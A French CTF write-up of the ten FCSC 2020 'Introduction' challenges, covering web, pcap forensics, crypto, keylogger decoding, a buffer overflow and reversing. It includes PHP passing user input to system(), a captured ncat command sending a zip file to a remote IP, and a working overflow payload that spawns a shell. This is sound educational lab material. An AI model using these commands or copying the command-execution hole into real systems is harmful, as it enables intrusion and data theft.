FCSC2020 - Introduction

Cette année, j’ai eu la chance de pouvoir participer à la France Cybersecurity Challenge, organisée par l’ANSSI. Il s’agit d’une compétition (CTF) pour sélectionner l'équipe de France pour participer à l’European Cybersecurity Challenge (ECSC).

Les participants peuvent s’inscrire sur une des trois catégorie: Junior, Sénior et Hors-Catégorie. Pour des soucis d'éligibilité et de temps, je me suis inscrit dans la dernière :).

Je vais poster au fur et à mesure mes write-up de cette compétition, en commençant par la section “Introduction” de l'événement. Dans cette dernière, il y avait en tout 10 challenges, dont les points sont statiques et fixés à 20.

Ces challenges étaient de tout types, ce qui faisait de cette section un bon moyen de se remettre dans le bain.

Allez attaquons.

Babel Web

Énoncé

On vous demande d’auditer ce site en cours de construction à la recherche d’un flag.

Write-up

On affiche le code source de la page pour y voir :

<html>
	<head>
		<title>Bienvenue à Babel Web!</title>
	</head>	
	<body>
		<h1>Bienvenue à Babel Web!</h1>
		La page est en cours de développement, merci de revenir plus tard.
		<!-- <a href="?source=1">source</a> -->
	</body>
</html>

On peut donc voir qu’on peut envoyer un argument source=1.

 <?php
    if (isset($_GET['source'])) {
        @show_source(__FILE__);
    }  else if(isset($_GET['code'])) {
        print("<pre>");
        @system($_GET['code']);
        print("<pre>");
    } else {
?>
<html>
    <head>
        <title>Bienvenue à Babel Web!</title>
    </head>    
    <body>
        <h1>Bienvenue à Babel Web!</h1>
        La page est en cours de développement, merci de revenir plus tard.
        <!-- <a href="?source=1">source</a> -->
    </body>
</html>
<?php
    }
?>

On peut voir qu’il y a une exécution de code si on envoie l’argument code=CMD. Il est donc envoyer la requête index.php?code=ls

flag.php
index.php

Ainsi on veut afficher le fichier flag.php avec index.php?code=cat flag.php

Cap ou Pcap

Énoncé

Voici la capture d’une communication réseau entre deux postes. Un fichier a été échangé et vous devez le retrouver.

Le flag est présent dans le contenu du fichier.

Write-up

En ouvrant le fichier dans Wireshark, on peut suivre le flux TCP du premier paquet:

id
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
pwd
/home/fcsc
w
 07:10:25 up 24 min,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
fcsc     tty7     :0               06:46   24:47   3.13s  0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
file Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
exit

On voit donc qu’il y a un fichier flag.zip qui est transmis. On change le filtre dans Wireshark de tcp.stream eq 0 à tcp.stream eq 1.

En suivant le flux TCP associé, on a :

504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000

On peut donc reconstruire le fichier zip avec :

$ echo "504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000" | xxd -r -p > flag.zip

$ unzip flag.zip
Archive:  flag.zip
  inflating: flag.txt 

$ cat flag.txt
FLAG

Le Rat Conteur

Énoncé

Le fichier suivant a été chiffré en AES-128 en mode CTR, avec la clé de 128 bits 00112233445566778899aabbccddeeff et un IV nul.

À vous de le déchiffrer pour obtenir le flag.

SHA256(flag.jpg.enc) = 3f326f481297b9eabf09b73d8cc178b14e1d2fbd614a20544fc632fcf15690ad

Write-up

On va utiliser openssl pour déchiffrer notre donnée.

$ openssl enc -d -aes-128-ctr -K 00112233445566778899aabbccddeeff -in flag.jpg.enc -out flag.jpg -iv ""
hex string is too short, padding with zero bytes to length

$ xdg-open flag.jpg

Et voilà, on a une image parfaitement claire :).

NES Forever

Énoncé

Le bon vieux temps ! Pour trouver le flag, vous allez devoir inspecter un langage qui fait la base d’Internet.

Write-up

Il suffit d’ouvrir la page, et d’afficher les sources de la page (à travers Clique-droit > Code source de la page). Le flag est un commentaire HTML.

...
  <style>
    body {
      padding-bottom: 90px;
    }
    .nes-progress {
      height: 25px;
    }
  </style>
</head>
<body>
  <nav style="padding: 20px; border-bottom: 3px solid #ccc; margin-bottom: 60px;">
    <div class="container">
      <h2 style="margin-bottom: 0;">
        <i class="snes-jp-logo"></i>
        NES_FOREVER
      </h2>
    </div>
  </nav>
  <!--
  FCSC{*********************************************************************}
  -->
....

Petite frappe 1

Énoncé

Lors de l’investigation d’un poste GNU/Linux, vous analysez un fichier qui semble être généré par un programme d’enregistrement de frappes de clavier (enregistrement de l’activité de chaque touche utilisée).

Retrouvez ce qui a bien pu être écrit par l’utilisateur de ce poste à l’aide de ce fichier !

Format du flag : Pour valider ce challenge, vous devez insérer le contenu de ce qui a été écrit sur le clavier de ce poste dans la balise suivante FCSC{xxxxxx} puis soumettre votre réponse.

SHA256(petite_frappe_1.txt) = caa50cd45696ad89d210665f922c7d44e2feffbec4576164e896f8224205f67b

Write-up

En lisant la documentation du kernel: on détermine que value donne juste l’information si la key est preseée ou non.

On filtre déjà uniquement lorsqu’on relève les touches :

$ cat petite_frappe_1.txt |grep "value 0" | grep -o -e "KEY_."

Ensuite, on réaligne les valeurs en retirant le prefix KEY_:

$ cat petite_frappe_1.txt |grep "value 0" | grep -o -e "KEY_." |sed 's/KEY_//g' |tr -d "\n"

Et vu qu’on a une belle phrase, on valide en utilisant FCSC{} autour de notre résultat.

Poney

Énoncé

On vous demande de lire le fichier flag présent sur le système.

Service : nc challenges1.france-cybersecurity-challenge.fr 4000

Write up

On nous a fournit le binaire qui est exécuté sur le serveur. Bon, on va pas se le cacher, ça sent le reverse. On voit qu’il y a un débordement de tampon sur 64bits.

Après quelques teste sur le padding pour déborder, on voit qu’on peut contrôler la valeur de RIP (le registre d’instruction), et ainsi on peut rediriger le flux d’exécution du programme. Mais vers où ?

On regarde les symboles déjà présent dans notre shell, le plus intéressant étant une fonction s’appelant shell.

$ nm poney
0000000000400676 T shell
0000000000400580 T _start

On peut donc rediriger notre exécution vers la fonction shell, mais il faut aussi qu’après le débordement on garde notre shell ouvert. Dans cette optique, on ajoute la commande cat - qui signifie de lire depuis l’entrée standard, et donc le PIPE ne se ferme jamais tout seul:

$ (perl -e 'print "A"x40; print "\x76\x06\x40" ; print "\x00"x5; print "\n"'; cat -) |nc challenges1.france-cybersecurity-challenge.fr 4000 
Give me the correct input, and I will give you a shell:
>>> id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

ls
flag
poney

cat flag
FCSC{*********************************************************}

Grâce à ça, on obtient notre shell, et notre flag.

SMIC 1

Énoncé

Le chiffrement RSA repose sur l’exponentiation modulaire de grands nombres. En utilisant les notations standards, calculez le “message” chiffré c correspondant au “message” en clair m = 29092715682136811148741896992216382887663205723233009270907036164616385404410946789697601633832261873953783070225717396137755866976801871184236363551686364362312702985660271388900637527644505521559662128091418418029535347788018938016105431888876506254626085450904980887492319714444847439547681555866496873380 en utilisant la clé publique : (n, e) = (115835143529011985466946897371659768942707075251385995517214050122410566973563965811168663559614636580713282451012293945169200873869218782362296940822448735543079113463384249819134147369806470560382457164633045830912243978622870542174381898756721599280783431283777436949655777218920351233463535926738440504017, 65537).

Le flag est FCSC{xxxx} où xxxx est remplacé par la valeur de c en écriture décimale.

Write-up

Il faut juste calculer le chiffré par m**e % n:

m = 29092715682136811148741896992216382887663205723233009270907036164616385404410946789697601633832261873953783070225717396137755866976801871184236363551686364362312702985660271388900637527644505521559662128091418418029535347788018938016105431888876506254626085450904980887492319714444847439547681555866496873380

(n, e) = (115835143529011985466946897371659768942707075251385995517214050122410566973563965811168663559614636580713282451012293945169200873869218782362296940822448735543079113463384249819134147369806470560382457164633045830912243978622870542174381898756721599280783431283777436949655777218920351233463535926738440504017, 65537)

print(pow(m, e, n))

On entoure ce chiffré par FCSC{} et on a notre flag.

SMIC 2

Énoncé

La sécurité du cryptosystème RSA repose sur un problème calculatoire bien connu.

On vous demande de déchiffrer le “message” chiffré c ci-dessous pour retrouver le “message” en clair m associé à partir de la clé publique (n, e).

Valeurs :

  • e = 65537
  • n = 632459103267572196107100983820469021721602147490918660274601
  • c = 63775417045544543594281416329767355155835033510382720735973

Le flag est FCSC{xxxx} où xxxx est remplacé par la valeur de m en écriture décimale.

Write-up

Il faut factoriser le nombre n pour déterminer p et q.

J’ai utilisé factordb.com :

  • p = 650655447295098801102272374367
  • q = 972033825117160941379425504503

On calcule phy(n) = (p-1)*(q-1) et ensuite d = inverse_modulaire_de_e_sur_phy(e, phy)

On peut enfin déchiffrer avec pow(c, d, n)

from Crypto.Util.number import inverse, long_to_bytes

e = 65537

n = 632459103267572196107100983820469021721602147490918660274601

c = 63775417045544543594281416329767355155835033510382720735973

p = 650655447295098801102272374367
q = 972033825117160941379425504503

phy = (p-1)*(q-1)

d = inverse(e, phy)

cleartext = pow(c, d, n)
print(cleartext)
print(long_to_bytes(cleartext))

SuSHi

Énoncé

Connectez-vous à cette machine en SSH avec les identifiants mentionnés, et trouvez le flag.

  • Adresse : challenges2.france-cybersecurity-challenge.fr
  • Port : 6000
  • Utilisateur : ctf
  • Mot de passe : ctf

Write-up

On se ssh sur le serveur en question :

$ ssh -l ctf challenges2.france-cybersecurity-challenge.fr -p 6000
ctf@challenges2.france-cybersecurity-challenge.fr's password:

 __    __            _                 __           _     _   ___ 
/ / /\ \ \__ _ _ __ | |_      __ _    / _\_   _ ___| |__ (_) / _ \
\ \/  \/ / _` | '_ \| __|    / _` |   \ \| | | / __| '_ \| | \// /
 \  /\  / (_| | | | | |_    | (_| |   _\ \ |_| \__ \ | | | |   \/ 
  \/  \/ \__,_|_| |_|\__|    \__,_|   \__/\__,_|___/_| |_|_|   () 
ctf@SuSHi:~$ ls
ctf@SuSHi:~$ ls -la
total 24
drwxr-xr-x 1 ctf-admin ctf 4096 Apr 22 15:32 .
drwxr-xr-x 1 ctf-admin ctf 4096 Apr 22 15:31 ..
-rw-r--r-- 1 ctf-admin ctf  220 May 15  2017 .bash_logout
-rw-r--r-- 1 ctf-admin ctf 3526 May 15  2017 .bashrc
-r--r--r-- 1 ctf-admin ctf   71 Apr 22 15:31 .flag
-rw-r--r-- 1 ctf-admin ctf  675 May 15  2017 .profile
ctf@SuSHi:~$ cat .flag
FCSC{*****************************************************}

Tarte Tatin

Énoncé

Votre mission : trouver le mot de passe qui affiche le flag.

Write-up

On lance le binaire avec gdb peda, on disassemble le main et on voit un memcmp(void* ptr1, void* ptr2, 16)

Le deuxième argument vaut NzTfdvs4Q4ttx1se

Sauf que en donnée en entrée ABCDEFGHIJKLMNOP on observe que la fonction transforme modifie la chaîne avant la comparaison, en incrémentant le code ascii de chacune de nos entrées.

On peut reconstruire le mot de passe à fournir en soustrayant un au code ascii de la chaîne trouvée

print(''.join([chr(ord(x)-1) for x in "NzTfdvs4Q4ttx1se"]))

MySecur3P3ssw0rd

On l’entoure de FCSC{} et on a notre flag.